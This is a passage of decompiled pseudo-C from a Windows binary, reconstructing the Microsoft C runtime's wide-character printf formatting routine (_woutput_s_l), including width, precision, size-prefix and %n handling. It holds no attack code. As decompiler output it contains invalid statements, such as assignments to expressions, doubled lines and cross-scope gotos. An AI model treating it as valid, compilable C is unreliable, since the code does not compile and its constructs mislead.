													 *(_t674 - 0x4b8) = _t539;
													__eflags =  *(_t674 - 0x4b8);
													if( *(_t674 - 0x4b8) > 0) {
														L206:
														E0043C930( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0xc;
														 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
														continue;
													}
													L205:
													 *(_t674 - 0x44c) = 0xffffffff;
													break;
												}
												L207:
												L209:
												__eflags =  *(_t674 - 0x44c);
												if( *(_t674 - 0x44c) >= 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) != 0) {
														E0043C990(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0x10;
													}
												}
											}
											L212:
											__eflags =  *(_t674 - 0x20);
											if( *(_t674 - 0x20) != 0) {
												L0041C3E0( *(_t674 - 0x20), 2);
												_t676 = _t676 + 8;
												 *(_t674 - 0x20) = 0;
											}
											while(1) {
												L214:
												 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
												_t580 =  *(_t674 - 0x454) & 0x0000ffff;
												 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
												if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t674 - 0x4d8) = 0;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
													}
												}
												L7:
												 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
												_t644 =  *(_t674 - 0x450) * 9;
												_t509 =  *(_t674 - 0x45c);
												_t588 = ( *(_t644 + _t509 + 0x407e38) & 0x000000ff) >> 4;
												 *(_t674 - 0x45c) = ( *(_t644 + _t509 + 0x407e38) & 0x000000ff) >> 4;
												if( *(_t674 - 0x45c) != 8) {
													L16:
													 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
													__eflags =  *(_t674 - 0x4e0) - 7;
													if( *(_t674 - 0x4e0) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C824))) {
														case 0:
															L18:
															 *(_t674 - 0xc) = 1;
															E0043C930( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t676 = _t676 + 0xc;
															goto L214;
														case 1:
															L19:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L214;
														case 2:
															L20:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e4) = __ecx;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															__eflags =  *(__ebp - 0x4e4) - 0x10;
															if( *(__ebp - 0x4e4) > 0x10) {
																goto L27;
															}
															L21:
															_t58 =  *(__ebp - 0x4e4) + 0x43c85c; // 0x498d04
															__ecx =  *_t58 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C844))) {
																case 0:
																	goto L24;
																case 1:
																	goto L25;
																case 2:
																	goto L23;
																case 3:
																	goto L22;
																case 4:
																	goto L26;
																case 5:
																	goto L27;
															}
														case 3:
															L28:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t82;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L33:
															goto L214;
														case 4:
															L34:
															 *(__ebp - 0x30) = 0;
															goto L214;
														case 5:
															L35:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t93;
																 *(__ebp - 0x30) = __ecx + _t93;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L214;
														case 6:
															L41:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e8) = __ecx;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															__eflags =  *(__ebp - 0x4e8) - 0x2e;
															if( *(__ebp - 0x4e8) > 0x2e) {
																L64:
																goto L214;
															}
															L42:
															_t101 =  *(__ebp - 0x4e8) + 0x43c884; // 0xc0919003
															__ecx =  *_t101 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043C870))) {
																case 0:
																	L47:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L50:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L53:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L59:
																				L61:
																				goto L64;
																			}
																			L54:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L59;
																			}
																			L55:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L59;
																			}
																			L56:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L59;
																			}
																			L57:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L59;
																			}
																			L58:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L18;
																			}
																			goto L59;
																		}
																		L51:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L53;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L61;
																		}
																	}
																	L48:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L61;
																	}
																case 1:
																	L62:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L64;
																case 2:
																	L43:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L64;
																case 3:
																	L63:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L64;
																case 4:
																	goto L64;
															}
														case 7:
															L65:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4ec);
															__ecx =  *(__ebp - 0x4ec) - 0x41;
															 *(__ebp - 0x4ec) = __ecx;
															__eflags =  *(__ebp - 0x4ec) - 0x37;
															if( *(__ebp - 0x4ec) > 0x37) {
																while(1) {
																	L187:
																	__eflags =  *(_t674 - 0x28);
																	if( *(_t674 - 0x28) != 0) {
																		goto L212;
																	}
																	goto L188;
																}
															}
															L66:
															_t142 =  *(__ebp - 0x4ec) + 0x43c8f0; // 0xcccccc0d
															__eax =  *_t142 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043C8B4))) {
																case 0:
																	L120:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L121;
																case 1:
																	L67:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L69;
																case 2:
																	L82:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L84;
																case 3:
																	L144:
																	 *(__ebp - 0x460) = 7;
																	goto L146;
																case 4:
																	L75:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x474) = E00428200(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x474);
																	if( *(__ebp - 0x474) == 0) {
																		L77:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																		L81:
																		goto L187;
																	}
																	L76:
																	__ecx =  *(__ebp - 0x474);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L81;
																	}
																	goto L77;
																case 5:
																	L121:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L123:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L128:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B760( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041ACF0(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x440374; // 0x4b3bc1ec
																			E00424560(__edx) =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x440380; // 0x4b248c6c
																					E00424560(__edx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041ACF0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44037c; // 0x4b24956c
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																			do {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			} while ( *(__ebp - 0x4ec) > 0x37);
																			goto L66;
																		}
																		L124:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L126;
																		}
																		L125:
																		 *(__ebp - 0x30) = 1;
																		goto L128;
																	}
																	L122:
																	 *(__ebp - 0x30) = 6;
																	goto L128;
																case 6:
																	L69:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E00428200(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		 *(__ebp - 0x448) =  *(__ebp - 0x458);
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x470) = __dl;
																		 *((char*)(__ebp - 0x46f)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ACF0(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E0041ACF0(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x470;
																		__eax = __ebp - 0x448;
																		__eax = E0043B430(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																case 7:
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L150:
																	__eflags =  *(_t674 - 0x10) & 0x00008000;
																	if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																		_t623 =  *(_t674 - 0x10) & 0x00001000;
																		__eflags = _t623;
																		if(_t623 == 0) {
																			__eflags =  *(_t674 - 0x10) & 0x00000020;
																			if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																				_t625 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t625;
																				if(_t625 == 0) {
																					_t483 = E00428200(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					__eflags = 0;
																					 *(_t674 - 0x4a0) = _t483;
																					 *(_t674 - 0x49c) = 0;
																				} else {
																					_t556 = E00428200(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t556;
																					 *(_t674 - 0x49c) = _t625;
																				}
																			} else {
																				_t671 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t671;
																				if(_t671 == 0) {
																					_t557 = E00428200(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																					 *(_t674 - 0x49c) = _t671;
																				} else {
																					_t560 = E00428200(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t560;
																					 *(_t674 - 0x49c) = _t671;
																				}
																			}
																		} else {
																			_t563 = E00428220(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t563;
																			 *(_t674 - 0x49c) = _t623;
																		}
																	} else {
																		_t564 = E00428220(_t674 + 0x14);
																		_t676 = _t676 + 4;
																		 *(_t674 - 0x4a0) = _t564;
																		 *(_t674 - 0x49c) = _t621;
																	}
																	__eflags =  *(_t674 - 0x10) & 0x00000040;
																	if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																		goto L167;
																	}
																case 8:
																	L106:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x484) = E00428200(__ebp + 0x14);
																	__eax = E00433DB0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L116:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__ecx =  *(__ebp - 0x484);
																			__edx =  *(__ebp - 0x44c);
																			 *__ecx =  *(__ebp - 0x44c);
																		} else {
																			__edx =  *(__ebp - 0x484);
																			__ax =  *(__ebp - 0x44c);
																			 *( *(__ebp - 0x484)) = __ax;
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L107:
																	__ecx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x4f4) = 0;
																	} else {
																		 *(__ebp - 0x4f4) = 1;
																	}
																	__edx =  *(__ebp - 0x4f4);
																	 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E220();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) != 0) {
																		L115:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	} else {
																		L114:
																		 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
																		__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x4cc) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ACC0(__ecx);
																		__eax =  *(__ebp - 0x4cc);
																		goto L225;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L143:
																	 *(__ebp - 0x30) = 8;
																	goto L144;
																case 0xb:
																	L84:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x4f0) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x4f0);
																	 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428200(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		L98:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__ecx =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __ecx;
																		}
																		 *(__ebp - 0xc) = 1;
																		__edx =  *(__ebp - 4);
																		 *(__ebp - 0x480) =  *(__ebp - 4);
																		while(1) {
																			L101:
																			__eax =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c) - 1;
																			 *(__ebp - 0x47c) = __ecx;
																			__eflags =  *(__ebp - 0x47c);
																			if( *(__ebp - 0x47c) == 0) {
																				break;
																			}
																			L102:
																			__edx =  *(__ebp - 0x480);
																			__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L103:
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																		}
																		L104:
																		__edx =  *(__ebp - 0x480);
																		__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																		__eflags = __edx;
																		 *(__ebp - 0x24) = __edx;
																		goto L105;
																	} else {
																		L88:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __eax;
																		}
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x478) = __ecx;
																		 *(__ebp - 0x24) = 0;
																		while(1) {
																			L92:
																			__eax =  *(__ebp - 0x24);
																			__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																			if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																				break;
																			}
																			L93:
																			__ecx =  *(__ebp - 0x478);
																			__edx =  *__ecx;
																			__eflags =  *__ecx;
																			if( *__ecx == 0) {
																				break;
																			}
																			L94:
																			__ecx = __ebp - 0x40;
																			E0041ACF0(__ebp - 0x40) =  *(__ebp - 0x478);
																			__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																			__eax = E004310C0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																			__eflags = __eax;
																			if(__eax != 0) {
																				__edx =  *(__ebp - 0x478);
																				__edx =  *(__ebp - 0x478) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x478) = __edx;
																			}
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			__edx =  *(__ebp - 0x24);
																			__edx =  *(__ebp - 0x24) + 1;
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																		}
																		L97:
																		L105:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																case 0xc:
																	L142:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L150:
																		__eflags =  *(_t674 - 0x10) & 0x00008000;
																		if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																			_t623 =  *(_t674 - 0x10) & 0x00001000;
																			__eflags = _t623;
																			if(_t623 == 0) {
																				__eflags =  *(_t674 - 0x10) & 0x00000020;
																				if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																					_t625 =  *(_t674 - 0x10) & 0x00000040;
																					__eflags = _t625;
																					if(_t625 == 0) {
																						_t483 = E00428200(_t674 + 0x14);
																						_t676 = _t676 + 4;
																						__eflags = 0;
																						 *(_t674 - 0x4a0) = _t483;
																						 *(_t674 - 0x49c) = 0;
																					} else {
																						_t556 = E00428200(_t674 + 0x14);
